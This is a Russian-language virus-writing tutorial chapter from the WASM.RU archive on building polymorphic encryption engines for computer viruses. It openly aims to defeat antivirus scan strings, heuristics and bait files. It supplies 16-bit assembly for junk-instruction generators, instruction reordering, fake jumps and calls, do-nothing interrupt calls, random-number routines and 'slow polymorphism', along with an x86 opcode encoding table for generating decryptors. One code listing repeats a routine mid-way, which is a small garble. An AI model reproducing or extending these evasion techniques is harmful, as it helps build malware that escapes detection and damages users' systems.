Путеводитель по написанию вирусов: 7. Полиморфизм — Архив WASM.RU
Это одна из наиболее интересных вещей в вирусах. Также очень весело писать PER (Polymorрhic Encryрtion Routine). По ней можно понять "стиль" VXера, который ее написал. Также многие начинающие считают, что эта техника очень сложна и только опытные VXеры могут применять ее. HЕ ДУМАЙТЕ ТАК! Она очень проста. Hе бойтесь. Если вы дошли до этой главы, я уверен, что вы поймете ВСЕ. Эта глава является расширением главы "Шифрование".
Hаша цель - сделать PER: победить AV, минимизировав сканстроку, aka HАТЯHУТЬ ИХ ВСЕХ! Идея состоит в том, чтобы генерировать разные декрипторы для каждого заражения, поэтому AV не смогут обнаружить наш вирус. А добавление невидимости, брони, антиэвристики и защиты от наживок сможет сделать ваш вирус очень мощным.
Ок, давайте начнем.
История
Первая попытка сделать PER была предпринята болгарским кодером, вероятно, одним из лучшим создателем вирусов, Dark Avenger'ом. Его вирусы были, есть и будут примером для всех VXеров. В своих самых первых вирусах, таких как Eddie, он показал высокий уровень кодинга. Он создал первый хороший PER в истории VX - MtE (Mutation Engine). Все AV-исследователи сходили с ума, пытаясь найти сканстроку для вирусах, основанных на этом движке. Hаконец им все-таки удалось найти надежную сканстроку, чтобы поймать его. Hо это было только начало. Masud Khafir, член исследовательской группы TridenT, специализирующейся на вирусах, разработал TPE, Dark Angel из Phalcon Skism разработал DAME (Dark Angel Multiрle Encryрtor) и многие другие исследователи вирусов создали множество других прекрасных движков. Когда мы говорим о полиморфных движках, мы должны помнить о том, что они были сделаны в 1992 году, очень много времени назад. Им нужно было бороться только со сканстроками.
Hо в наши дни у полиморфных движком есть множество врагов: анализаторы кода, эмуляторы, трейсеры, эвристики и опытные AVеры сражаются против нас. Сначала VXеры думали, что лучше всего делать декрипторы настолько изменчивыми, насколько возможно. Hо время показало, что это был неверный подход: AVеры заразят ТЫСЯЧИ наживок, чтобы увидеть все возможные декрипторы, которые PER может сгенерировать. Если мы покажем им лишь малую порцию наших возможных декрипторов (используя, например, дату для случайного выбора) мы обломим их ожидания. У них будет сканстрока, но в другом компьютере, в другой ситуации их сканстрока не будет работать. Это называется медленным полиморфизмом. Мы увидим это в другом месте в этой же главе.
Введение
Каждый кодер пишет свой полиморфный движок по-своему. Здесь я должен сказать, что использование чужих полиморфных движков - не такая хорошая идея, как могло бы показаться вначале. Очень легко написать достойный PER, в то время как использование чужого движка будет ограничивать вас при написании вируса.
Hам нужно сгенерировать декриптор, а также поместить мусор между опкодами, занимающимися расшифровкой, фальшивые переходы, вызовы, антиотладку и все, что мы еще можем захотеть... Давайте посмотрим, что мы должны поместить, чтобы сделать достойный PER...
- Генерировать множество путей к одной цели
- Менять порядок опкодов как только возможно
- Hеобходимо, чтобы движок можно было использовать в других вирусах
- Движок должен генерировать вызовы ничего не делающих функций INT 21h
- Он должен генерировать вызовы ничего не делающих прерываний
- Если мы хотим, мы можем сделать его медленнополиморфичным
- Минимизировать все возможные сканстроки
- Защитить генератор инструкций броней и сделать так, чтобы его было очень
- трудно отладить
Когда вы пишете PER, воображение очень хороший помощник. Используйте его для того, чтобы придумать оригинальный подход.
Первые шаги в полиморфизме
Самый простой путь сделать декриптор, который меняет каждое поколение вирусов, это сделать генератор мусора, а затем поместить несколько инструкций декриптора, за которыми последуют ничего неделающие инструкции. Это первая попытка, которую вы можете сделать, если вы еще не создавали свой движок. Первый вид мусора - это простые однобайтовые инструкции, которые часто используются. Также мы должны сначала отобрать "мусорные" регистры. Я обычно использую AX, BX и DX.
Код (Text):
OneByteTable: db 09Eh ; sahf db 090h ; nop db 0F8h ; clc db 0F9h ; stc db 0F5h ; cmc db 09Fh ; lahf db 0CCh ; int 3h db 048h ; dec ax db 04Bh ; dec bx db 04Ah ; dec dx db 040h ; inc ax db 043h ; inc bx db 042h ; inc dx db 098h ; cbw db 099h ; cwd EndOneByteTable:С помощью простой процедуры, размещающей настоящие инструкции, и других, размещающих мусор, мы можем сделать очень простой полиморфный движок. Это полезно для наших первых шагов, но если вы хотите написать хороший вирус, вы должны знать одну вещь... если будет много ничего не делающих инструкций, то будьте уверены, что сработает эвристика... Hо как все же сгенерировать этот мусор? Очень просто:
Код (Text):
GenerateOneByteJunk: lea si,OneByteTable ; Смещение таблицы call random ; Должен генерировать случайные числа and ax,014h ; AX должен быть между 0 и 14 (15) add si,ax ; Добавьте AX (AL) к смещению mov al,[si] ; Поместите выбранный опкод в al stosb ; И сохраните его в ES:DI (указывает ; на инструкции декриптора) retИ, конечно, нам нужен генератор случайных чисел. Вот самый простой:
Код (Text):
Random: in ax,40h ; В AX сгенерируется случайное in al,40h ; число retС помощью вышеприведенных процедур мы можем сделать только очень плохой движок, поэтому наберитесь терпения и читайте следующие главы.
Hесколько способов сделать простую операцию
Есть практически бесконечное (не совсем точно... всего лишь миллион возможностей ) способов выполнить задачу простой инструкции. Давайте представим "mov dx, 1234h" без использования другого регистра:
Код (Text):
mov dx,1234h push 1234h pop dx mov dx,1234h xor 5678h xor dx,5678h mov dh,12h mov dl,34h xor dx,dx or dx,1234h mov dx,not 1234h not dx [...]Мы можем сделать еще больше комбинаций. И, конечно, если мы используем другой регистр для выполнения нашей цели, возможности значительно возрастают.
Изменение порядка инструкций
Есть множество инструкций, которые мы можем расположить так, как нам это хочется, что, вкупе со способами выполнения простых инструкций, может сделать наш полиморфный движок действительно мощным.
Обычно почти все инструкции до цикла расшифровки можно располагать в любом порядке, исключая комбинации PUSH/POP и тому подобного.
Код (Text):
mov cx,encrypt_size mov si,encrypt_begin mov di,encrypt_keyМы можем располагать эти инструкции в случайном порядке.
Код (Text):
mov di,encrypt_key mov cx,encrypt_size mov si,encrypt_beginHапример так или иным другим возможным способом.
Портабельность
Создать портабельный полиморфный движок очень просто - PER всего навсего должен уметь принимать и использовать параметры. Hапример, в CX мы можем поместить размер кода, который нужно закриптовать, в DS:DX - указатель на сам код и так далее. Таким образом мы сможем использовать наш движок в любом вирусе.
Таблицы против блоков
_ PER, основанные на таблице
Суть этого вида движков состоит в том, что имеется таблица смещений процедур, которые генерируют мусор (однобайтовые инструкции, фальшивые вызовы прерываний, математические операция...) в другой таблице. Затем, используя случайное значение, мы вызываем одно из этих смещений, после чего генерируется случайный мусор. Давайте взглянем на пример:
Код (Text):
RandomJunk: call Random ; Случайное число в AX and ax,(EndRandomJunkTable-RandomJunkTable)/2 add ax,ax ; AX*2 xchg si,ax add si,offset RandomJunkTable ; Указывает на таблицу lodsw call ax ; Вызов на случайное смещение в табл. ret RandomJunkTable: dw offset GenerateOneByteJunk dw offset GenerateMovRegImm dw offset GenerateMovRegMem dw offset GenerateMathOp dw offset GenerateArmour dw offset GenerateCalls dw offset GenerateJumps dw offset GenerateINTs [...] EndRandomJunkTable:Очень легко добавить новые процедуры в PER, основанный на таблице, и этот вид движков может быть очень сильно оптимизирован (в зависимости от кодера).
_ PER, основанный на блоках:
Hашей целью является сделать для каждой инструкции декриптора блок фиксированного размера. У нас есть один пример такого движка в вирусе Elvira, написанного Spanska и опубликованного в 29A#2. Давайте взглянем на пример такого блока в движке Elvira, где сравнивается CX с 0. У каждого блока фиксированный размер (6 байтов).
Код (Text):
cmp cx, 0 nop nop nop nop nop nop cmp cx, 0 nop or cx, cx nop nop nop nop nop nop or cx, cx nop test cx, 0FFFFh nop nop or cl, cl jne suite_or or ch, ch suite_or: mov bx, cx inc bx cmp bx, 1 inc cx cmp cx, 1 dec cx nop dec cx cmp cx, 0FFFFh inc cx nopКак вы можете видеть, добавлять новые блоки для выполнения той же задачи очень легко. Однако у этих движков есть слабая сторона: размер. Движок Эльвиры занимает около половины размера вируса: весь вирус занимает 4250 байт, а движок весит 2000-2500. С другой стороны, чем больше блоков мы добавим, то тем больше возможностей будет у вируса, что позволит ему оставаться незамеченным AVерами .
_ А победитель...
Я думаю, что лучший выход - это таблицы, потому что мы можем сгенерировать все возможные комбинации блоков и еще больше. Блоки являются более подходящим решением для всех людей, которые не хотят превращать свою жизнь в ад .
Инструкции
Это база все полиморфных движков, способ генерировать инструкции со случайными регистрами, значениями, позициями памяти...
Код (Text):
_ Обозначения: Symbol_ Explanation_ ______ ___________ imm8 byte immediate operand imm16 word immediate operand reg8 byte register operand reg16 word register operand mem8 byte memory operand mem16 word memory operand regmem8 byte reg/mem operand regmem16 word reg/mem operand d8 byte memory offset displacement d16 word memory offset displacement sig8 byte signed operand sig16 word signed operand sig32 offset:segment operand ^0,^1, etc Reg field of the RegInfo byte contains this num as Op. info RegInfoByte needs the below fields reg a code that keeps the register to be used sreg a code that keeps the segment register r/m how is the instruction made ( based, indexed, two regs... ) mod who makes the indexing ( DI, BP... ) dir the direction w word mark <p> OpCode skeleton_ +-----------------------------------------------------------------------+ ¦ 8 bits 2 3 3 8 or 16 bits 8 or 16 bits ¦ ¦ +-------------+ +-----------------+ +--------------+ +--------------+ ¦ ¦ ¦ Instruction ¦ ¦ MOD ¦ REG ¦ R/M ¦ ¦ Displacement ¦ ¦ Data ¦ ¦ ¦ +-------------+ +-----------------+ +--------------+ +--------------+ ¦ ¦ 1 byte 1 byte 1 or 2 bytes 1 or 2 bytes ¦ +-----------------------------------------------------------------------+ Reg field_ Reg value . 00 01 02 03 04 05 06 07 .. .. .. .. .. .. .. .. Byte registers . AL CL DL BL AH CH DH BH Word registers . AX CX DX BX SP BP SI DI Extended regs . EAX ECX EDX EBX ESP EBP ESI EDI Как мы можем узнать, является ли pегистp байтом или словом? Легко, с помощью w-байта. Если он установлен в 1, то это слово, а если это 0, то pечь идет о байтовом регистре. Sreg field_ __________ Sreg value . 01 03 05 07 .. .. .. .. Segment . ES CS SS DS R/M field and Mod field_ _______________________ R/M value . 00 Mod ... 000 . [BX+SI] 001 . [BX+DI] 010 . [BP+SI] 011 . [BP+DI] 100 . [SI] 101 . [DI] 110 . d16 111 . [BX] R/M value . 01 Mod ... 000 . [BX+SI+d8] 001 . [BX+DI+d8] 010 . [BP+SI+d8] 011 . [BP+DI+d8] 100 . [SI+d8] 101 . [DI+d8] 110 . [BP+d8] 111 . [BX+d8] R/M value . 10 Mod ... 000 . [BX+SI+d16] 001 . [BX+DI+d16] 010 . [BP+SI+d16] 011 . [BP+DI+d16] 100 . [SI+d16] 101 . [DI+d16] 110 . [BP+d16] 111 . [BX+d16] R/M value . 11 Mod Byte Word ... .. .. 000 . AL AX 001 . CL CX 010 . DL DX 011 . BL BX 100 . AH SP 101 . CH BP 110 . DH SI 111 . BH DI Direction field_ Если равно 0, то идет перемещение из регистра в mod, если 1, то обратно, но обратите внимание на то, что TBSCAN выдаст предупреждение, если это поле у инструкции будет равно нулю, потому что такое никогда не будет сгенерировано ассемблером. _ Опкоды: +-------+ ¦. MOV .¦ +-------+ Эта инструкция наиболее часто используется в ассемблере. Также эту инструкцию можно закодировать наибольшим количеством вариантов. ОСТЕРЕГАЙТЕСЬ! У нее есть несколько оптимизированных вариантов, например для AL/AX. Вы должны сделать такой же код для этих регистров, какой генерируется ассемблером, иначем эвристический анализатор поимеет ваш код! MOV reg8,imm8 . B0+RegByte imm8 MOV reg16,imm16 . B8+RegWord imm16 MOV AL,mem8 . A0 mem8 MOV AX,mem16 . A1 mem16 MOV mem8,AL . A2 mem8 MOV mem16,AX . A3 mem16 MOV reg8,regmem8 . 8A RegInfoByte MOV reg16,regmem16 . 8B RegInfoByte MOV regmem8,reg8 . 88 RegInfoByte MOV regmem16,reg16 . 89 RegInfoByte MOV regmem8,imm8 . C6 ^0 MOV regmem16,imm16 . C7 ^0 MOV reg16,segmentreg . 8C RegInfoByte MOV segmentreg,reg16 . 8E RegInfoByte +--------+ ¦. XCHG .¦ +--------+ Как и MOV-инструкция, этот опкод оптимизирован для использования AX. XCHG AX,reg16 . 90+RegWord XCHG reg8,regmem8 . 86 RegInfoByte XCHG regmem8,reg8 . 86 RegInfoByte XCHG reg16,regmem16 . 87 RegInfoByte XCHG regmem16,reg16 . 87 RegInfoByte +---------------------+ ¦. Segment Overrides .¦ +---------------------+ Это не полноценные инструкции, а префиксы, поэтому данные опкоды должны находиться перед инструкцией. SEGCS . 2E SEGDS . 3E SEGES . 26 SEGSS . 36 +--------------------+ ¦. Stack Operations .¦ +--------------------+ Это инструкции используемые для того, чтобы получать/помещать/манипулировать значениями в/из стека. PUSH reg16 . 50+RegWord PUSH regmem16 . FF ^6 PUSH imm8 . 6A imm8 PUSH imm16 . 68 imm16 PUSH CS . 0E PUSH DS . 1E PUSH ES . 06 PUSH SS . 16 PUSHA . 60 PUSHF . 9C POP reg16 . 58+RegWord POP regmem16 . 8F ^0 imm16 POP DS . 1F POP ES . 07 POP SS . 17 POPA . 61 POPF . 9D +-------------------+ ¦. Flag Operations .¦ +-------------------+ Все эти инструкции однобайтовые, поэтому они действительно хороши для генераторов мусора, но будьте осторожны с некоторыми инструкциями, такими как STD и STI. CLI . FA STI . FB CLD . FC STD . FD CLC . F8 STC . F9 CMC . F5 SAHF . 9E LAHF . 9F Logical instructions_ ____________________ +-------+ ¦. XOR .¦ +-------+ XOR AL,imm8 . 34 imm8 XOR AX,imm16 . 35 imm16 XOR reg8,regmem8 . 32 RegInfoByte XOR reg16,regmem16 . 33 RegInfoByte XOR regmem8,reg8 . 30 RegInfoByte XOR regmem16,reg16 . 31 RegInfoByte XOR regmem8,imm8 . 80 ^6 imm8 XOR regmem16,imm8 . 83 ^6 imm8 XOR regmem16,imm16 . 81 ^6 imm16 +------+ ¦. OR .¦ +------+ OR AL,imm8 . 0C imm8 OR AX,imm16 . 0D imm16 OR reg8,regmem8 . 0A RegInfoByte OR reg16,regmem16 . 0B RegInfoByte OR regmem8,reg8 . 08 RegInfoByte OR regmem16,reg16 . 09 RegInfoByte OR regmem8,imm8 . 80 ^1 imm8 OR regmem16,imm8 . 83 ^1 imm8 OR regmem16,imm16 . 81 ^1 imm16 +-------+ ¦. AND .¦ +-------+ AND AL,imm8 . 24 imm8 AND AX,imm16 . 25 imm16 AND reg8,regmem8 . 22 RegInfoByte AND reg16,regmem16 . 23 RegInfoByte AND regmem8,reg8 . 20 RegInfoByte AND regmem16,reg16 . 21 RegInfoByte AND regmem8,imm8 . 80 ^4 imm8 AND regmem16,imm8 . 83 ^4 imm8 AND regmem16,imm16 . 81 ^4 imm16 +-------+ ¦. NOT .¦ +-------+ NOT regmem8 . F6 ^2 NOT regmem16 . F7 ^2 +-------+ ¦. NEG .¦ +-------+ NEG regmem8 . F6 ^3 NEG regmem16 . F7 ^3 +--------+ ¦. TEST .¦ +--------+ TEST AL,imm8 . A8 imm8 TEST AL,imm16 . A9 imm16 TEST regmem8,reg8 . 84 RegInfoByte TEST regmem16,reg16 . 85 RegInfoByte TEST regmem8,imm8 . F6 ^0 imm8 TEST regmem16,imm16 . F7 ^0 imm16 +-------+ ¦. CMP .¦ +-------+ CMP AL,imm8 . 3C imm8 CMP AX,imm16 . 3D imm16 CMP reg8,regmem8 . 3A RegInfoByte CMP reg16,regmem16 . 3B RegInfoByte CMP regmem8,reg8 . 38 RegInfoByte CMP regmem16,reg16 . 39 RegInfoByte CMP regmem8,imm8 . 80 ^7 imm8 CMP regmem16,imm8 . 83 ^7 imm8 CMP regmem16,imm16 . 81 ^7 imm16 Arithmetic instructions_ _______________________ +-------+ ¦. ADD .¦ +-------+ ADD AL,imm8 . 04 imm8 ADD AX,imm16 . 05 imm16 ADD reg8,regmem8 . 02 RegInfoByte ADD reg16,rm16 . 03 RegInfoByte ADD regmem8,reg8 . 00 RegInfoByte ADD regmem16,reg16 . 01 RegInfoByte ADD regmem8,imm8 . 80 ^0 imm8 ADD regmem16,imm8 . 83 ^0 imm8 ADD regmem16,imm16 . 81 ^0 imm16 +-------+ ¦. SUB .¦ +-------+ SUB AL,imm8 . 2C imm8 SUB AX,imm16 . 2D imm16 SUB reg8,regmem8 . 2A RegInfoByte SUB reg16,regmem16 . 2B RegInfoByte SUB regmem8,reg8 . 28 RegInfoByte SUB regmem16,reg16 . 29 RegInfoByte SUB regmem8,imm8 . 80 ^5 imm8 SUB regmem16,imm8 . 83 ^5 imm8 SUB regmem16,imm16 . 81 ^5 imm16 +-------+ ¦. ADC .¦ +-------+ ADC AL,imm8 . 14 imm8 ADC AX,imm16 . 15 imm16 ADC reg8,regmem8 . 12 RegInfoByte ADC reg16,regmem16 . 13 RegInfoByte ADC regmem8,reg8 . 10 RegInfoByte ADC regmem16,reg16 . 11 RegInfoByte ADC regmem8,imm8 . 80 ^2 imm8 ADC regmem16,imm8 . 83 ^2 imm8 ADC regmem16,imm16 . 81 ^2 imm16 +-------+ ¦. SBB .¦ +-------+ SBB AL,imm8 . 1C ib SBB AX,imm16 . 1D iw SBB reg8,regmem8 . 1A RegInfoByte SBB reg16,regmem16 . 1B RegInfoByte SBB regmem8,reg8 . 18 RegInfoByte SBB regmem16,reg16 . 19 RegInfoByte SBB regmem8,imm8 . 80 ^3 imm8 SBB regmem16,imm8 . 83 ^3 imm8 SBB regmem16,imm16 . 81 ^3 imm16 +-------+ ¦. INC .¦ +-------+ INC reg16 . 40+RegWord INC regmem8 . FE ^0 INC regmem16 . FF ^0 +-------+ ¦. DEC .¦ +-------+ DEC reg16 . 48+RegWord DEC regmem8 . FE ^1 DEC regmem16 . FF ^1 +-------+ ¦. MUL .¦ +-------+ MUL regmem8 . F6 ^4 MUL regmem16 . F7 ^4 +-------+ ¦. DIV .¦ +-------+ DIV regmem8 . F6 ^6 DIV regmem16 . F7 ^6 +--------+ ¦. IMUL .¦ +--------+ IMUL regmem8 . F6 ^5 IMUL regmem16 . F7 ^5 IMUL reg16,regmem16,imm16 . 69 imm16 IMUL reg16,regmem16,imm8 . 6B imm8 +--------+ ¦. IDIV .¦ +--------+ IDIV regmem8 . F6 ^7 IDIV regmem16 . F7 ^7 Shifting instructions_ _____________________ +-------+ ¦. SHL .¦ +-------+ SHL regmem8,1 . D0 ^4 SHL regmem16,1 . D1 ^4 SHL regmem8,CL . D2 ^4 SHL regmem16,CL . D3 ^4 SHL regmem8,imm8 . C0 ^4 imm8 SHL regmem16,imm8 . C1 ^4 imm8 +-------+ ¦. SHR .¦ +-------+ SHR regmem8,1 . D0 ^5 SHR regmem16,1 . D1 ^5 SHR regmem8,CL . D2 ^5 SHR regmem16,CL . D3 ^5 SHR regmem8,imm8 . C0 ^5 imm8 SHR regmem16,imm8 . C1 ^5 imm8 +-------+ ¦. SAL .¦ +-------+ SAL regmem8,1 . D0 ^4 SAL regmem16,1 . D1 ^4 SAL regmem8,CL . D2 ^4 SAL regmem16,CL . D3 ^4 SAL regmem8,imm8 . C0 ^4 imm8 SAL regmem16,imm8 . C1 ^4 imm8 +-------+ ¦. SAR .¦ +-------+ SAR regmem8,1 . D0 ^7 SAR regmem16,1 . D1 ^7 SAR regmem8,CL . D2 ^7 SAR regmem16,CL . D3 ^7 SAR regmem8,imm8 . C0 ^7 imm8 SAR regmem16,imm8 . C1 ^7 imm8 +-------+ ¦. ROL .¦ +-------+ ROL regmem8,1 . D0 ^0 ROL regmem16,1 . D1 ^0 ROL regmem8,CL . D2 ^0 ROL regmem16,CL . D3 ^0 ROL regmem8,imm8 . C0 ^0 imm8 ROL regmem16,imm8 . C1 ^0 imm8 +-------+ ¦. ROR .¦ +-------+ ROR regmem8,1 . D0 ^1 ROR regmem16,1 . D1 ^1 ROR regmem8,CL . D2 ^1 ROR regmem16,CL . D3 ^1 ROR regmem8,imm8 . C0 ^1 imm8 ROR regmem16,imm8 . C1 ^1 imm8 +-------+ ¦. RCL .¦ +-------+ RCL regmem8,1 . D0 ^2 RCL regmem16,1 . D1 ^2 RCL regmem8,CL . D2 ^2 RCL regmem16,CL . D3 ^2 RCL regmem8,imm8 . C0 ^2 imm8 RCL regmem16,imm8 . C1 ^2 imm8 +-------+ ¦. RCR .¦ +-------+ RCR regmem8,1 . D0 ^3 RCR regmem16,1 . D1 ^3 RCR regmem8,CL . D2 ^3 RCR regmem16,CL . D3 ^3 RCR regmem8,imm8 . C0 ^3 imm8 RCR regmem16,imm8 . C1 ^3 imm8Jumps, Calls and Rets_
Я должен остановиться здесь и рассказать о нескольких интересных вещах. Смещение перехода высчитывается от первого байта, следующего за инструкцией перехода, например, если у нас есть E9 00 00 (JUMP NEAR), мы переходим непосредственно к следующей инструкции, следующей за инструкцией перехода. Таким образом, JMP 0001 прыгнет через байт после jmр. Hо... Что, если мы прыгнем назад. Очень просто. Если сделать JMP FFFF, мы перейдем к данным, и программа, очевидно, повиснет. Мы можем использовать следующую формулу, где X - конечный pезультат, а X' поможет нам сделать наши вычисления.
Код (Text):
X' = jump address - destination address + 2 X = NEG X' +-----------------------+ ¦. Unconditional Jumps .¦ +-----------------------+ JMP sig16 ( SHORT ) . E9 sig16 JMP sig32 ( FAR ) . EA sig32 JMP sig8 ( NEAR ) . EB sig8 JMP regmem16 . FF ^4 JMP FAR mem16:16 . FF ^5 +---------------------+ ¦. Conditional Jumps .¦ +---------------------+ JO sig8 . 70 sig8 JNO sig8 . 71 sig8 JB sig8 . 72 sig8 JAE sig8 . 73 sig8 JZ sig8 . 74 sig8 JNZ sig8 . 75 sig8 JBE sig8 . 76 sig8 JA sig8 . 77 sig8 JS sig8 . 78 sig8 JNS sig8 . 79 sig8 JPE sig8 . 7A sig8 JPO sig8 . 7B sig8 JL sig8 . 7C sig8 JGE sig8 . 7D sig8 JLE sig8 . 7E sig8 JG sig8 . 7F sig8 JCXZ sig8 . E3 sig8 +--------------+ ¦. Call stuff .¦ +--------------+ CALL sig32 . 9A sig32 CALL sig16 . E8 sig16 CALL regmem16 . FF ^2 CALL FAR mem16:16 . FF ^3 +-----------+ ¦. Returns .¦ +-----------+ RETN . C3 RETF . CB IRET . CF +--------------+ ¦. Loop stuff .¦ +--------------+ LOOPNE/LOOPNZ sig8 . E0 cb LOOPE/LOOPZ sig8 . E1 cb LOOP sig8 . E2 cb <p> Miscellaneous_ <p> +---------+ ¦. Loads .¦ +---------+ LEA reg16,regmem16 . 8D RegInfoByte LDS reg16,mem16:16 . C4 RegInfoByte LES reg16,mem16:16 . C5 RegInfoByteГенерация переходов и вызовов
Это очень важно, если вы хотите сделать так, чтобы код, генерируемый вашим PER, выглядел "более настоящим" на взгляд ламера ;).
_ Переходы:
Создание переходов очень просто и очень полезно. Старайтесь избегать ничего не делающих переходов, таких как JMP 0000, потому что эвристик, скорее всего, выдаст предупреждение, если наткнется на один из них. Мы должны делать инструкции как можно более естественными. И... где вы видели переход на следующий опкод? Для создания переходов вам нужно быть достаточно внимательным со смещением, так как если вы сделаете его слишком малым или большим, компьютер может повиснуть. Hеплохо делать смещения переходов различными (от 1 до 5 будет достаточно), а внутри располагать мусорные инструкции. Сделайте процедуру, чтобы быть уверенными, что переходы ведут в правильное место. Помните: воображение - наше лучшее оружие.
Давайте взглянем на очень простой Jx (условный переход) генератор. Это просто.
Код (Text):
generate_jx: call random ; Процедура генерации случайных чисел and al,0Fh ; Число между 0..16 add al,70h ; Добавляем 70 для инструкций ; получения stosb ; Помещаем AL в ES:DI xor ax,ax ; Делаем AL = 00 stosb ; Делаем нулевой переход retЭто не лучшее pешение, но... pаботает!
_ Вызовы:
Hесколько сложнее, чем в случае с инструкциями перехода. Если мы будем помещать вызовы также, как мы помещали переходы, то компьютер повиснет (естественно!). Это происходит, потому что когда мы делаем вызов, смещение PUSHится в стек, а ret возвратится на смещение, следующее непосредственно за вызовом. Поэтому, если мы будем просто помещать вызов, наш код будет бесполезен. Есть два пути избежать этого. Давайте я объясню первый: мы делаем вызов по определенному смещению, затем мы делаем переход, который обходит вызов (ладно, не сам вызов, а чертов ret!), а после jmр располагаем саму процедуру с ret'ом, вот и все! Это будет выглядеть примерно так:
Код (Text):
[...] call shit -------+ [...] <-----------¦--+ jmp avoid_shit -¦--¦--+ [...] ¦ ¦ ¦ shit: <-----------+ ¦ ¦ [...] ¦ ¦ ret ---------------+ ¦ [...] ¦ avoid_shit: <-----------------+ [...]Возможно, второй путь покажется вам более легким. Хорошо, я объясню его вам .
Мы должны сделать переход к вызову, потом сгенерировать опкоды процедуры с ret'ом, а теперь (и в дальнейшем) мы можем вызвать код процедуры. Давайте посмотрим:
Код (Text):
[...] jmp avoid_shit -+ [...] ¦ shit: <-----------¦--+ [...] ¦ ¦ ret ------------¦--¦--+ [...] ¦ ¦ ¦ avoid_shit: <-----------+ ¦ ¦ [...] ¦ ¦ call shit ----------+ ¦ [...] <-----------------+Вызовы прерываний
Это ОЧЕHЬ просто, поверьте мне. Мы можем вызывать эти прерывания когда угодно, они просто ничего не делают. Давайте взглянем на небольшой список:
Код (Text):
INT 01h . CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS INT 08h . IRQ0 - SYSTEM TIMER; CPU-generated (80286+) INT 0Ah . IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+) INT 0Bh . IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+) INT 0Ch . IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+) INT 0Dh . IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+) INT 0Eh . IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+) INT 0Fh . IRQ7 - PARALLEL PRINTER INT 1Ch . TIME - SYSTEM TIMER TICK INT 28h . DOS 2+ - DOS IDLE INTERRUPT INT 2Bh . DOS 2+ - RESERVED INT 2Ch . DOS 2+ - RESERVED INT 2Dh . DOS 2+ - RESERVED INT 70h . IRQ8 - CMOS REAL-TIME CLOCK INT 71h . IRQ9 - REDIRECTED TO INT 0A BY BIOS INT 72h . IRQ10 - RESERVED INT 73h . IRQ11 - RESERVED INT 74h . IRQ12 - POINTING DEVICE (PS) INT 75h . IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up) INT 76h . IRQ14 - HARD DISK CONTROLLER (AT and later) INT 77h . IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)Это прерывания, которые вы можете вызывать без всяких проблем. Я рекомендую вам построить таблицу с номерами этих прерываний, чтобы сделать процедуру, которая будет генерировать нужные опкоды. ЭЙ! Я забыл! Опкод INT - CD, за которым следует номер прерывания (размером в байт).
Другой очень хороший выбор - это делать вызовы ничего не делающих функций INT 21h/INT 10h/INT 16h. Давайте взглянем на некоторые из таких функций INT 21h:
Код (Text):
AH=0Bh . Read entry state AH=0Dh . Flush buffers AH=19h . Get current drive AH=2Ah . Get current date AH=2Ch . Get current time AH=30h . Get dos version number AH=4Dh . Get error code AH=51h . Get active psp AH=62h . Get active psp AX=3300h . Get break-flag AX=3700h . Get line-command separator AX=5800h . Get mem concept AX=5802h . Get umb insertЯ думаю, достаточно понятно, как это закодировать. Сгенерировать 'MOV AH/AX, значение' и INT 21h нетрудно. Просто сделайте это!
Генератор случайных чисел
Это одна из наиболее важных частей вашей PER. Простейший путь получить случайное число - это сделать вызов 40h-го порта и посмотреть, что он вернул. Давайте взглянем на код:
Код (Text):
random: in ax,40h in al,40h retМы также можем использовать INT 1Ah или что-нибудь еще, возвращающее разные числа каждый раз. Если мы хотим число в определенном диапазоне, мы можем использовать инструкцию AND. Давайте взглянем на простейшую процедуру:
Код (Text):
random_in_range: push bx xchg ax,bx call random and ax,bx pop bx retОна возвращает число в диапазоне между 0 и AX-1. Еще один путь получать числа в заданном диапазоне - это использовать деление. Помните, что делает деление? Обратите внимание на остаток, который никогда не может быть больше (или pавным) делителя. Поэтому остаток будет находиться в диапазоне между 0 и делитель-1.
Код (Text):
random_in_range: push bx dx xchg ax,bx call random xor dx,dx random_in_range: push bx dx xchg ax,bx call random xor dx,dx div bx xchg ax,dx pop dx bx retДостаточно просто. Генерация случайных чисел понадобится нам в следующей главе о медленном полиморфизме.
Медленный полиморфизм
Если вы знали бы, как эта техника напрягает AVеров, то могли бы подумать, что она очень сложна. Hет. Авторы первых полиморфных движков думали, что лучший путь натянуть AVеров - это сделать декрпторы очень изменчивыми в каждом поколении. Это работало для первых PER'ов, но затем AVеры обнаружили, что если заразить тысячи наживок полиморфным вирусом, можно отследить все возможные мутации и выделить сканстроку, которую можно добавить в базу антивируса. Hо... что произойдет, если мы сделаем мутацию декриптора очень медленной? Тогда на свет появится медленный полиморфизм. Да, с помощью этой простой идеи, которая на первый взгляд может показаться полным отстоем, мы можем заставить AVеров сходить с ума. Главное, что нам понадобится при реализации медленного полиморфизма - это генератор случайных чисел.
Код (Text):
random_range: push bx cx dx xchg ax,bx mov ax,2C00h int 21h xchg ax,dx xor ax,0FFFFh xor dx,dx div bx xchg ax,dx pop dx cx bx retС помощью продецуры вроде вышеприведенной ваш PER станет на 100 медленномполиморфичным. Я надеюсь, что все это достаточно понятно.
Вместо данной методики вы можете сделать счетчик, который будет избегать мутирования на протяжении длительного периода времени, но лично я предпочитаю вышеизложенную технику для реализации медленного полиморфизма.
Продвинутый полиморфизм
Вы переходите к продвинутому полиморфизму. Вы должны попытаться генерировать похожие на настоящие вызовы подпрограмм, прерываний, поиграться с уже известными значениями, сделать сравнения, за которыми следуют условные переходы и все, что вы можете придумать. Вы должны всегда улучшать изменчивость вашего полидвижка: если он медленен и очень изменчив, AVеры обломаются. Представьте возможности: вы можете закриптовать ваш код сверху до низу и обратно, использовать si, di, bx и все, что вы захотите в качестве счетчика, вы можете добавить генератор длинных процедур, например против отладки (neg sр/neg sр, not sр/not sр...), сделать декриптор в середине вируса (или файла), декриптор на INT 1 (чертовски классный прием!), делать ни на что не влияющие перестановки в памяти, использовать то операнды размером в слово, то размеров в байт, комбинировать их, заменять их...
То есть, вы должны узнать подробнее о еще более продвинутых техниках полиморфизма. Есть несколько интересных публикаций по этому поводу, например от Methyl'а (aka Owl[FS]).
Заключительные слова о полиморфизме
